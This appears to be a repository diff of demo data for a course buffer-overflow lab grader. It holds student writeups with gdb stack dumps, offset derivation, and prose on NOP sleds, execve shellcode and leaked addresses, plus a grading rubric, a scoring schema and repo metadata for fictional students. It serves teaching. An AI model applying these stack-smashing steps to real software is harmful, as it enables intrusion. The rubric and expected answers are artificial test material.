binaries.\n\n[--[ 1.0 -- RECON ]--]\n\n**vuln1.** I set a breakpoint inside `vuln` after the input read and looked at\nthe frame and the stack.\n\n```\n(gdb) info frame\nStack level 0, frame at 0xffffd680:\n eip = 0x080491c7 in vuln (vuln1.c:14); saved eip = 0xf7c23a41\n Saved registers:\n ebp at 0xffffd678, eip at 0xffffd67c\n```\n\n```\n(gdb) x/40wx $esp\n0xffffd62c: 0x08049080 0xffffd710 0x00000000 0x41414141\n0xffffd63c: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd64c: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd65c: 0x41414141 0x41414141 0x41414141 0x41414141\n0xffffd66c: 0x41414141 0x41414141 0x41414141 0xf7fb3d20\n0xffffd67c: 0xf7c23a41 0xffffd710 0xffffd718 0x00000000\n```\n\nThe buffer is the run of `0x41414141` starting at `0xffffd630`, and gdb reports\nthe saved EIP at `0xffffd67c`. Working from that, the offset to the return\naddress is **76 bytes**. I checked it by sending 76 `A`s followed by `BBBB` and\nEIP came back as `0x42424242`, so 76 is the number I used for the rest of the\nlab.\n\nI only did recon on vuln1 -- I did not get far enough into Phase Omega to need\nvuln2's frame, so I did not dump it.\n\n[--[ 2.0 -- PHASE PHI ACE ]--]\n\nPhase Phi is the shellcode attack on vuln1, which has an executable stack, so I\ncan run bytes I place in the buffer.\n\nWalking my `exploit1.c`:\n\n1. **The shellcode bytes.** I used a 25-byte `execve(\"/bin/sh\")` shellcode\n (lines 7-13 of exploit1.c). The reason it is these exact bytes is that the\n input is read as a string, so any `0x00` byte would cut my payload off early.\n This shellcode is null-free -- it zeroes registers with `xor` instead of\n moving in literal zeros, and it pushes `/bin//sh` as two words -- so nothing\n in it truncates. I disassembled it back with `objdump` to be sure there were\n no zero bytes.\n\n2. **The NOP sled.** I put a run of `0x90` NOPs in front of the shellcode (line\n 19, `sled = b\"\\x90\" * 40`). Because the exact stack address wobbles a little\n between gdb and a normal run, I do not need to hit the first byte of my\n shellcode exactly -- if EIP lands anywhere in the NOPs it just slides down\n into the real code. 40 bytes was enough to absorb the drift and still fit the\n shellcode in the 76-byte space.\n\n3. **Where the offset came from.** The 76 in my payload construction (line 22)\n is the recon number from section 1.0 -- start of buffer to saved return\n address.\n\n4. **The leaked address.** vuln1 prints the address of `buffer` before it reads\n input, and my exploit reads that line (line 16,\n `leak = int(p.stdout.readline().split()[-1], 16)`) and uses it to set the\n return address a little bit into the sled (`ret = pack(\" Note: I was not able to finish Phase Omega. I understand the general idea --\n> vuln2's stack is not executable, so the Phase Phi shellcode approach will not\n> run and you have to return into libc instead -- but I could not get a working\n> chain together before the deadline. I am leaving the sub-prompts with their\n> template placeholders instead of writing answers I did not actually produce.\n\n**(3a) Why does the Phase Phi payload segfault against vuln2? Paste the signal\nand explain the non-executable stack.**\n\n[your answer]\n\n**(3b) Show the libc offsets you used for `system`, `exit`, `setreuid`, and the\n`\"/bin/sh\"` string, and name the tools you used to find them.**\n\n[your answer]\n\n**(3c) Explain why a naive `system(\"/bin/sh\")` chain drops the setuid oracle\nprivilege, and name the fix.**\n\n[your answer]\n\n**(3d) Name the gadget-finding tool, give the `pop/pop/ret` address with its\ndisassembly, and explain why the chain needs it.**\n\n[your answer]\n\nPhase Omega flag: `` (not captured).\n\n[--[ 4.0 -- AFTERMATH ]--]\n\n**Which phase was harder, and why?**\nPhase Phi is the only one I got working, and it still fought me -- my first\nattempts crashed because I had hardcoded a stack address from gdb and it did not\nmatch the real run. Switching to the leaked `&buffer` address fixed it. I did not\nfinish Omega, but even reading its prompts it is obviously the harder half,\nbecause losing the executable stack means you cannot just run your own code and\nyou have to stitch together calls into existing library functions.\n\n**What if there had been no `&buffer` leak?**\nWithout the leak I would have had to guess the stack address. My plan would have\nbeen a much bigger NOP sled and a guessed address in the usual `0xffffd000`\nneighborhood, re-running the exploit over and over until a run happened to land\nin the sled. On 32-bit there are few enough address bits that this kind of\nlow-entropy brute force actually succeeds in a reasonable number of tries.\n\n**Why does a stack canary stop this?**\nThere is a random canary word placed between the buffer and the saved return\naddress. My overflow writes straight through everything up to the return address,\nso it has to clobber the canary. When the function returns, `__stack_chk_fail`\nnotices the canary no longer matches and aborts the program before `ret` runs,\nso I never actually get to redirect EIP -- the attack becomes a crash instead of\na shell.\n\n**A source that stuck with me.**\nI looked at the \"Smashing the Stack\" reading.\n\n[Thin -- I skimmed the Phrack article but I did not connect a specific part of it\nto my own work, so this reflection is weaker than the other three.]\n"} +{"autograde": {"cleared": [], "honor_ok": false, "points": 0}, "github_id": "selina-kyle", "rubric": {"bonus": [], "cap": 30, "comment_max_chars": 140, "lab": "Lab 3 \u2014 Buffer Overflow (Phase \u03a6 WALK IN / Phase \u03a9 COLD STEEL)", "sections": [{"anchors": {"adequate": "Filled in but missing one element \u2014 dates absent, or the fingerprint is pasted without the contextual env/date line.", "missing": "Empty or placeholder text unchanged.", "strong": "States where the work was done (Codespace or local) and the dates, and pastes the `make print-seed` line, which matches the `seed-fingerprint:` in the WRITEUP frontmatter.", "weak": "Fingerprint or environment stated but it does not appear to match the frontmatter (flag for instructor)."}, "key": "target", "label": "\u00a70 TARGET \u2014 environment + seed fingerprint", "max": 2, "requires_cleared": null}, {"anchors": {"adequate": "gdb output present and offset reasoning sketched, with small gaps (e.g. shows the offset for vuln1 but not vuln2, or the arithmetic is implicit).", "missing": "No gdb output at all.", "strong": "Both `info frame` and `x/40wx $esp` pasted from their OWN vuln1 and vuln2 (addresses non-trivially seed-specific), and the offset derivation is shown \u2014 not merely \"the offset was 76\".", "weak": "One of: gdb output but no offset reasoning; offset claimed with no gdb output; output present but identical to another student's addresses (seed collision impossible \u2192 flag for instructor)."}, "key": "recon", "label": "\u00a71 RECON \u2014 gdb output + offset derivation", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of four sub-questions, or all four but shallow on one (e.g. \"I used standard execve shellcode\" with no reason for those bytes).", "missing": "No walkthrough.", "strong": "Answers all four sub-questions \u2014 why those shellcode bytes, why the NOP sled is sized as it is, where the offset came from, and the exact line that reads the leaked `&buffer` from vuln1's stdout and how it is used in the payload \u2014 tied to specific lines of THEIR exploit1.c.", "weak": "One or two sub-questions; mostly restates the prompt without engaging with their own code."}, "key": "phi_walk", "label": "\u00a72 Phase \u03a6 walkthrough (exploit1.c)", "max": 6, "requires_cleared": null}, {"anchors": {"adequate": "Three of the four sub-parts solid, or all four present but thin on the \"why\" (e.g. offsets shown but commands omitted; gadget address without disassembly).", "missing": "Section empty.", "strong": "All four sub-parts full: (3a) pastes the segfault/signal AND explains the non-executable stack (no `-z execstack`); (3b) names the tools and shows the actual offsets for system/exit/setreuid/\"/bin/sh\"; (3c) correctly explains why the naive shell drops the setuid `oracle` privilege and names the `setreuid(geteuid(),geteuid())` fix with a man-page cite; (3d) names the gadget-finding tool, gives the pop/pop/ret address + disassembly of the three instructions, and why it is needed.", "weak": "One or two sub-parts; mechanism vague, a wrong fix (\"you need root\"), or prompt restated."}, "key": "omega_walk", "label": "\u00a73 Phase \u03a9 walkthrough (4 sub-parts: fail-analysis, libc offsets, setuid, gadget)", "max": 9, "requires_cleared": null}, {"anchors": {"adequate": "Three substantive and one thin, or two substantive and two thin.", "missing": "Section empty.", "strong": "All four reflections substantive: a real opinion on which phase was harder; a no-leak counterfactual naming a concrete primitive (format string / side channel / low-entropy brute force / partial overwrite / \"stuck without a leak\"); the canary answer names `__stack_chk_fail` / abort-before-RIP; and a SPECIFIC cited section (Phrack 49:14 / GNU Coding Standards / TAOUP / POSIX) with a non-platitude \"why it matters\".", "weak": "One substantive reflection; the rest vague or \"both were hard\"."}, "key": "aftermath", "label": "\u00a74 AFTERMATH \u2014 four reflections (1.25 each)", "max": 5, "requires_cleared": null}, {"anchors": {"adequate": "Code commented but sparse OR one-to-two screenshots missing \u2014 evidence of craft but incomplete.", "missing": "No comments and no screenshots.", "strong": "exploit1.c and exploit2.c carry student-written explanatory comments (not just code), all four screenshots are present (phase-phi-shell/flag, phase-omega-shell/flag), and the prose is in the student's own voice.", "weak": "Bare uncommented exploits and/or most screenshots missing."}, "key": "craft", "label": "\u00a75 craft \u2014 commented exploit code + required screenshots", "max": 2, "requires_cleared": null}], "student_comment_max_chars": 600, "total": 30}, "schema": {"additionalProperties": false, "properties": {"abstain": {"type": "boolean"}, "bonus": {"additionalProperties": false, "properties": {}, "type": "object"}, "comment": {"type": "string"}, "confidence": {"enum": ["high", "medium", "low"]}, "github_id": {"minLength": 1, "type": "string"}, "sections": {"additionalProperties": false, "properties": {"aftermath": {"minimum": 0, "type": "integer"}, "craft": {"minimum": 0, "type": "integer"}, "omega_walk": {"minimum": 0, "type": "integer"}, "phi_walk": {"minimum": 0, "type": "integer"}, "recon": {"minimum": 0, "type": "integer"}, "target": {"minimum": 0, "type": "integer"}}, "required": ["target", "recon", "phi_walk", "omega_walk", "aftermath", "craft"], "type": "object"}, "student_comment": {"maxLength": 600, "type": "string"}, "total": {"minimum": 0, "type": "integer"}}, "required": ["github_id", "sections", "total", "comment", "student_comment", "confidence", "abstain"], "type": "object"}, "skip": true, "student": "Selina Kyle", "writeup_text": ""} diff --git a/examples/cecs-378-demo/recon-lab-demo/repos/barbara-gordon.json b/examples/cecs-378-demo/recon-lab-demo/repos/barbara-gordon.json new file mode 100644 index 0000000..e95351b --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/repos/barbara-gordon.json @@ -0,0 +1,68 @@ +{ + "github_id": "barbara-gordon", + "student": "Barbara Gordon", + "repo": "cecs-378-su26-01-lab-03-buffer-overflow-barbara-gordon", + "grading_commit": "barb0f0103", + "autograde": { + "all_failed": false, + "honor_ok": true, + "max": 100, + "points": 70, + "commit": "barb0f0103", + "challenges": { + "phi": { + "key": "phi", + "max": 60, + "passed": true, + "points": 60 + }, + "omega": { + "key": "omega", + "max": 10, + "passed": true, + "points": 10 + } + } + }, + "git": { + "commits": 22, + "deletions": 0, + "force_pushes": 0, + "largest_add": 1, + "spread_days": 30.1, + "triage_bucket": "PASS", + "triage_score": 86, + "notable_messages": [ + "Complete BO lab: both phases + writeup", + "Add Phase Omega ret2libc chain", + "Add screenshots", + "Refine exploit1 leak parse", + "Initial recon + offset" + ] + }, + "docs": { + "writeup": { + "label": "writeup", + "present": true, + "raw_path": "writeups/barbara-gordon.md", + "frontmatter": { + "csulb-id": "040100103", + "real-name": "Barbara Gordon", + "handle": "barbara", + "seed-fingerprint": "synthfp", + "honor-flag": "CECS378{honor_demo}" + }, + "sections": [ + "After-Action Report -- Buffer Overflow Lab" + ], + "sources": 3, + "word_count": 1400 + } + }, + "links": { + "docs": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-barbara-gordon/blob/barb0f0103/student/WRITEUP.md", + "repo": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-barbara-gordon", + "feedback_branch": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-barbara-gordon/tree/feedback", + "feedback_pr": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-barbara-gordon/pull/1" + } +} \ No newline at end of file diff --git a/examples/cecs-378-demo/recon-lab-demo/repos/bruce-wayne.json b/examples/cecs-378-demo/recon-lab-demo/repos/bruce-wayne.json new file mode 100644 index 0000000..9c7f4cd --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/repos/bruce-wayne.json @@ -0,0 +1,68 @@ +{ + "github_id": "bruce-wayne", + "student": "Bruce Wayne", + "repo": "cecs-378-su26-01-lab-03-buffer-overflow-bruce-wayne", + "grading_commit": "bruc0f0101", + "autograde": { + "all_failed": false, + "honor_ok": true, + "max": 100, + "points": 70, + "commit": "bruc0f0101", + "challenges": { + "phi": { + "key": "phi", + "max": 60, + "passed": true, + "points": 60 + }, + "omega": { + "key": "omega", + "max": 10, + "passed": true, + "points": 10 + } + } + }, + "git": { + "commits": 18, + "deletions": 0, + "force_pushes": 0, + "largest_add": 1, + "spread_days": 29.4, + "triage_bucket": "PASS", + "triage_score": 88, + "notable_messages": [ + "Complete BO lab: both phases + writeup", + "Add Phase Omega ret2libc chain", + "Add screenshots", + "Refine exploit1 leak parse", + "Initial recon + offset" + ] + }, + "docs": { + "writeup": { + "label": "writeup", + "present": true, + "raw_path": "writeups/bruce-wayne.md", + "frontmatter": { + "csulb-id": "040100101", + "real-name": "Bruce Wayne", + "handle": "bruce", + "seed-fingerprint": "synthfp", + "honor-flag": "CECS378{honor_demo}" + }, + "sections": [ + "After-Action Report -- Buffer Overflow Lab" + ], + "sources": 2, + "word_count": 1400 + } + }, + "links": { + "docs": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-bruce-wayne/blob/bruc0f0101/student/WRITEUP.md", + "repo": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-bruce-wayne", + "feedback_branch": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-bruce-wayne/tree/feedback", + "feedback_pr": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-bruce-wayne/pull/1" + } +} \ No newline at end of file diff --git a/examples/cecs-378-demo/recon-lab-demo/repos/dick-grayson.json b/examples/cecs-378-demo/recon-lab-demo/repos/dick-grayson.json new file mode 100644 index 0000000..f485071 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/repos/dick-grayson.json @@ -0,0 +1,68 @@ +{ + "github_id": "dick-grayson", + "student": "Dick Grayson", + "repo": "cecs-378-su26-01-lab-03-buffer-overflow-dick-grayson", + "grading_commit": "dick0f0102", + "autograde": { + "all_failed": false, + "honor_ok": true, + "max": 100, + "points": 70, + "commit": "dick0f0102", + "challenges": { + "phi": { + "key": "phi", + "max": 60, + "passed": true, + "points": 60 + }, + "omega": { + "key": "omega", + "max": 10, + "passed": true, + "points": 10 + } + } + }, + "git": { + "commits": 14, + "deletions": 0, + "force_pushes": 0, + "largest_add": 1, + "spread_days": 28.7, + "triage_bucket": "PASS", + "triage_score": 80, + "notable_messages": [ + "Finish writeup + screenshots", + "Phase Omega working", + "Phase Phi shell", + "Recon vuln1/vuln2", + "Setup" + ] + }, + "docs": { + "writeup": { + "label": "writeup", + "present": true, + "raw_path": "writeups/dick-grayson.md", + "frontmatter": { + "csulb-id": "040100102", + "real-name": "Dick Grayson", + "handle": "dick", + "seed-fingerprint": "synthfp", + "honor-flag": "CECS378{honor_demo}" + }, + "sections": [ + "After-Action Report -- Buffer Overflow Lab" + ], + "sources": 1, + "word_count": 1400 + } + }, + "links": { + "docs": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-dick-grayson/blob/dick0f0102/student/WRITEUP.md", + "repo": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-dick-grayson", + "feedback_branch": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-dick-grayson/tree/feedback", + "feedback_pr": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-dick-grayson/pull/1" + } +} \ No newline at end of file diff --git a/examples/cecs-378-demo/recon-lab-demo/repos/edward-nashton.json b/examples/cecs-378-demo/recon-lab-demo/repos/edward-nashton.json new file mode 100644 index 0000000..9517119 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/repos/edward-nashton.json @@ -0,0 +1,68 @@ +{ + "github_id": "edward-nashton", + "student": "Edward Nashton", + "repo": "cecs-378-su26-01-lab-03-buffer-overflow-edward-nashton", + "grading_commit": "edwa0f0108", + "autograde": { + "all_failed": true, + "honor_ok": true, + "max": 100, + "points": 0, + "commit": "edwa0f0108", + "challenges": { + "phi": { + "key": "phi", + "max": 60, + "passed": false, + "points": 0 + }, + "omega": { + "key": "omega", + "max": 10, + "passed": false, + "points": 0 + } + } + }, + "git": { + "commits": 12, + "deletions": 0, + "force_pushes": 0, + "largest_add": 1, + "spread_days": 30.0, + "triage_bucket": "PASS", + "triage_score": 60, + "notable_messages": [ + "checkin: shell not popping", + "wip payload", + "try fix offset", + "recon", + "GitHub Classroom Feedback" + ] + }, + "docs": { + "writeup": { + "label": "writeup", + "present": true, + "raw_path": "writeups/edward-nashton.md", + "frontmatter": { + "csulb-id": "040100108", + "real-name": "Edward Nashton", + "handle": "edward", + "seed-fingerprint": "synthfp", + "honor-flag": "CECS378{honor_demo}" + }, + "sections": [ + "After-Action Report -- Buffer Overflow Lab" + ], + "sources": 1, + "word_count": 1400 + } + }, + "links": { + "docs": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-edward-nashton/blob/edwa0f0108/student/WRITEUP.md", + "repo": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-edward-nashton", + "feedback_branch": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-edward-nashton/tree/feedback", + "feedback_pr": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-edward-nashton/pull/1" + } +} \ No newline at end of file diff --git a/examples/cecs-378-demo/recon-lab-demo/repos/harvey-dent.json b/examples/cecs-378-demo/recon-lab-demo/repos/harvey-dent.json new file mode 100644 index 0000000..c0cc776 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/repos/harvey-dent.json @@ -0,0 +1,68 @@ +{ + "github_id": "harvey-dent", + "student": "Harvey Dent", + "repo": "cecs-378-su26-01-lab-03-buffer-overflow-harvey-dent", + "grading_commit": "harv0f0106", + "autograde": { + "all_failed": false, + "honor_ok": true, + "max": 100, + "points": 60, + "commit": "harv0f0106", + "challenges": { + "phi": { + "key": "phi", + "max": 60, + "passed": true, + "points": 60 + }, + "omega": { + "key": "omega", + "max": 10, + "passed": false, + "points": 0 + } + } + }, + "git": { + "commits": 9, + "deletions": 0, + "force_pushes": 0, + "largest_add": 1, + "spread_days": 30.5, + "triage_bucket": "PASS", + "triage_score": 72, + "notable_messages": [ + "Writeup + Phi screenshots", + "Phase Phi complete", + "recon + offset", + "GitHub Classroom Feedback", + "init" + ] + }, + "docs": { + "writeup": { + "label": "writeup", + "present": true, + "raw_path": "writeups/harvey-dent.md", + "frontmatter": { + "csulb-id": "040100106", + "real-name": "Harvey Dent", + "handle": "harvey", + "seed-fingerprint": "synthfp", + "honor-flag": "CECS378{honor_demo}" + }, + "sections": [ + "After-Action Report -- Buffer Overflow Lab" + ], + "sources": 0, + "word_count": 1400 + } + }, + "links": { + "docs": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-harvey-dent/blob/harv0f0106/student/WRITEUP.md", + "repo": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-harvey-dent", + "feedback_branch": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-harvey-dent/tree/feedback", + "feedback_pr": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-harvey-dent/pull/1" + } +} \ No newline at end of file diff --git a/examples/cecs-378-demo/recon-lab-demo/repos/jason-todd.json b/examples/cecs-378-demo/recon-lab-demo/repos/jason-todd.json new file mode 100644 index 0000000..1e060ca --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/repos/jason-todd.json @@ -0,0 +1,68 @@ +{ + "github_id": "jason-todd", + "student": "Jason Todd", + "repo": "cecs-378-su26-01-lab-03-buffer-overflow-jason-todd", + "grading_commit": "jaso0f0110", + "autograde": { + "all_failed": false, + "honor_ok": true, + "max": 100, + "points": 70, + "commit": "jaso0f0110", + "challenges": { + "phi": { + "key": "phi", + "max": 60, + "passed": true, + "points": 60 + }, + "omega": { + "key": "omega", + "max": 10, + "passed": true, + "points": 10 + } + } + }, + "git": { + "commits": 10, + "deletions": 0, + "force_pushes": 0, + "largest_add": 1, + "spread_days": 30.3, + "triage_bucket": "PASS", + "triage_score": 75, + "notable_messages": [ + "Finish writeup + screenshots", + "Phase Omega working", + "Phase Phi shell", + "Recon vuln1/vuln2", + "Setup" + ] + }, + "docs": { + "writeup": { + "label": "writeup", + "present": true, + "raw_path": "writeups/jason-todd.md", + "frontmatter": { + "csulb-id": "040100110", + "real-name": "Jason Todd", + "handle": "jason", + "seed-fingerprint": "synthfp", + "honor-flag": "CECS378{honor_demo}" + }, + "sections": [ + "After-Action Report -- Buffer Overflow Lab" + ], + "sources": 1, + "word_count": 1400 + } + }, + "links": { + "docs": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-jason-todd/blob/jaso0f0110/student/WRITEUP.md", + "repo": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-jason-todd", + "feedback_branch": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-jason-todd/tree/feedback", + "feedback_pr": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-jason-todd/pull/1" + } +} \ No newline at end of file diff --git a/examples/cecs-378-demo/recon-lab-demo/repos/kate-kane.json b/examples/cecs-378-demo/recon-lab-demo/repos/kate-kane.json new file mode 100644 index 0000000..2b19d65 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/repos/kate-kane.json @@ -0,0 +1,68 @@ +{ + "github_id": "kate-kane", + "student": "Kate Kane", + "repo": "cecs-378-su26-01-lab-03-buffer-overflow-kate-kane", + "grading_commit": "kate0f0109", + "autograde": { + "all_failed": false, + "honor_ok": true, + "max": 100, + "points": 70, + "commit": "kate0f0109", + "challenges": { + "phi": { + "key": "phi", + "max": 60, + "passed": true, + "points": 60 + }, + "omega": { + "key": "omega", + "max": 10, + "passed": true, + "points": 10 + } + } + }, + "git": { + "commits": 11, + "deletions": 0, + "force_pushes": 0, + "largest_add": 1, + "spread_days": 30.6, + "triage_bucket": "PASS", + "triage_score": 78, + "notable_messages": [ + "Finish writeup + screenshots", + "Phase Omega working", + "Phase Phi shell", + "Recon vuln1/vuln2", + "Setup" + ] + }, + "docs": { + "writeup": { + "label": "writeup", + "present": true, + "raw_path": "writeups/kate-kane.md", + "frontmatter": { + "csulb-id": "040100109", + "real-name": "Kate Kane", + "handle": "kate", + "seed-fingerprint": "synthfp", + "honor-flag": "CECS378{honor_demo}" + }, + "sections": [ + "After-Action Report -- Buffer Overflow Lab" + ], + "sources": 1, + "word_count": 1400 + } + }, + "links": { + "docs": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-kate-kane/blob/kate0f0109/student/WRITEUP.md", + "repo": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-kate-kane", + "feedback_branch": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-kate-kane/tree/feedback", + "feedback_pr": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-kate-kane/pull/1" + } +} \ No newline at end of file diff --git a/examples/cecs-378-demo/recon-lab-demo/repos/oswald-cobblepot.json b/examples/cecs-378-demo/recon-lab-demo/repos/oswald-cobblepot.json new file mode 100644 index 0000000..c3a8e63 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/repos/oswald-cobblepot.json @@ -0,0 +1,68 @@ +{ + "github_id": "oswald-cobblepot", + "student": "Oswald Cobblepot", + "repo": "cecs-378-su26-01-lab-03-buffer-overflow-oswald-cobblepot", + "grading_commit": "oswa0f0105", + "autograde": { + "all_failed": false, + "honor_ok": true, + "max": 100, + "points": 60, + "commit": "oswa0f0105", + "challenges": { + "phi": { + "key": "phi", + "max": 60, + "passed": true, + "points": 60 + }, + "omega": { + "key": "omega", + "max": 10, + "passed": false, + "points": 0 + } + } + }, + "git": { + "commits": 7, + "deletions": 0, + "force_pushes": 0, + "largest_add": 1, + "spread_days": 30.2, + "triage_bucket": "PASS", + "triage_score": 68, + "notable_messages": [ + "Writeup + Phi screenshots", + "Phase Phi complete", + "recon + offset", + "GitHub Classroom Feedback", + "init" + ] + }, + "docs": { + "writeup": { + "label": "writeup", + "present": true, + "raw_path": "writeups/oswald-cobblepot.md", + "frontmatter": { + "csulb-id": "040100105", + "real-name": "Oswald Cobblepot", + "handle": "oswald", + "seed-fingerprint": "synthfp", + "honor-flag": "CECS378{honor_demo}" + }, + "sections": [ + "After-Action Report -- Buffer Overflow Lab" + ], + "sources": 0, + "word_count": 1400 + } + }, + "links": { + "docs": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-oswald-cobblepot/blob/oswa0f0105/student/WRITEUP.md", + "repo": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-oswald-cobblepot", + "feedback_branch": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-oswald-cobblepot/tree/feedback", + "feedback_pr": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-oswald-cobblepot/pull/1" + } +} \ No newline at end of file diff --git a/examples/cecs-378-demo/recon-lab-demo/repos/pamela-isley.json b/examples/cecs-378-demo/recon-lab-demo/repos/pamela-isley.json new file mode 100644 index 0000000..ef9cc6f --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/repos/pamela-isley.json @@ -0,0 +1,68 @@ +{ + "github_id": "pamela-isley", + "student": "Pamela Isley", + "repo": "cecs-378-su26-01-lab-03-buffer-overflow-pamela-isley", + "grading_commit": "pame0f0107", + "autograde": { + "all_failed": false, + "honor_ok": true, + "max": 100, + "points": 60, + "commit": "pame0f0107", + "challenges": { + "phi": { + "key": "phi", + "max": 60, + "passed": true, + "points": 60 + }, + "omega": { + "key": "omega", + "max": 10, + "passed": false, + "points": 0 + } + } + }, + "git": { + "commits": 6, + "deletions": 0, + "force_pushes": 0, + "largest_add": 1, + "spread_days": 29.9, + "triage_bucket": "REVIEW", + "triage_score": 55, + "notable_messages": [ + "Writeup + Phi screenshots", + "Phase Phi complete", + "recon + offset", + "GitHub Classroom Feedback", + "init" + ] + }, + "docs": { + "writeup": { + "label": "writeup", + "present": true, + "raw_path": "writeups/pamela-isley.md", + "frontmatter": { + "csulb-id": "040100107", + "real-name": "Pamela Isley", + "handle": "pamela", + "seed-fingerprint": "synthfp", + "honor-flag": "CECS378{honor_demo}" + }, + "sections": [ + "After-Action Report -- Buffer Overflow Lab" + ], + "sources": 0, + "word_count": 1400 + } + }, + "links": { + "docs": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-pamela-isley/blob/pame0f0107/student/WRITEUP.md", + "repo": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-pamela-isley", + "feedback_branch": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-pamela-isley/tree/feedback", + "feedback_pr": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-pamela-isley/pull/1" + } +} \ No newline at end of file diff --git a/examples/cecs-378-demo/recon-lab-demo/repos/selina-kyle.json b/examples/cecs-378-demo/recon-lab-demo/repos/selina-kyle.json new file mode 100644 index 0000000..0eb1d38 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/repos/selina-kyle.json @@ -0,0 +1,19 @@ +{ + "github_id": "selina-kyle", + "student": "Selina Kyle", + "repo": "cecs-378-su26-01-lab-03-buffer-overflow-selina-kyle", + "grading_commit": null, + "autograde": null, + "git": null, + "docs": { + "writeup": { + "label": "writeup", + "present": false + } + }, + "links": { + "repo": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-selina-kyle", + "feedback_branch": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-selina-kyle/tree/feedback", + "feedback_pr": "https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-selina-kyle/pull/1" + } +} \ No newline at end of file diff --git a/examples/cecs-378-demo/recon-lab-demo/writeups/barbara-gordon.md b/examples/cecs-378-demo/recon-lab-demo/writeups/barbara-gordon.md new file mode 100644 index 0000000..9c107d0 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/writeups/barbara-gordon.md @@ -0,0 +1,149 @@ +--- +real-name: Barbara Gordon +csulb-id: "040100103" +handle: "Oracle_0x7F" +seed-fingerprint: d4e5f6 +flag1: CECS378{vuln1_2a7cd410} +flag2: CECS378{vuln2_5eb98f37} +honor-flag: CECS378{honor_bd6742c9} +--- + +# After-Action Report -- Buffer Overflow Lab + +[--[ 0.0 -- TARGET ]--] + +- **Env:** GitHub Codespace, `ubuntu-22.04`, gcc 11.4.0, gdb 12.1, glibc 2.35. Built with the provided `Makefile` (`-m32 -fno-stack-protector -z execstack -no-pie` for vuln1; vuln2 drops `execstack`). +- **Started:** 2026-06-24. **Finished:** 2026-06-26. About 8 hours total; the ret2libc chain in Ω took the most fiddling. +- **Seed line:** `seed=d4e5f6 :: derive(barbara-gordon) -> {vuln1: stack_smash_std, vuln2: nx_ret2libc}`. Seed fingerprint `d4e5f6` pins my binaries and flags. + +My handle is Oracle because I spent this whole lab reading memory that was never meant to be read. Full mechanism below. + +[--[ 1.0 -- RECON ]--] + +**vuln1 (`./vuln1`) -- stack smash.** + +Sink is `strcpy(buffer, argv[1])` into `char buffer[64]`. Broke on the function, overflowed, and read the frame: + +``` +(gdb) break vuln_func +(gdb) run $(python3 -c 'print("A"*90)') +(gdb) info frame +Stack level 0, frame at 0xffffd450: + eip = 0x0804920a in vuln_func (vuln1.c:15); saved eip = 0x41414141 + called by frame at 0xffffd470 + Saved registers: + ebp at 0xffffd448, eip at 0xffffd44c +``` + +Saved EIP already `0x41414141`. Now the stack: + +``` +(gdb) x/40wx $esp +0xffffd400: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd410: 0x41414141 0x41414141 0x41414141 0x41414141 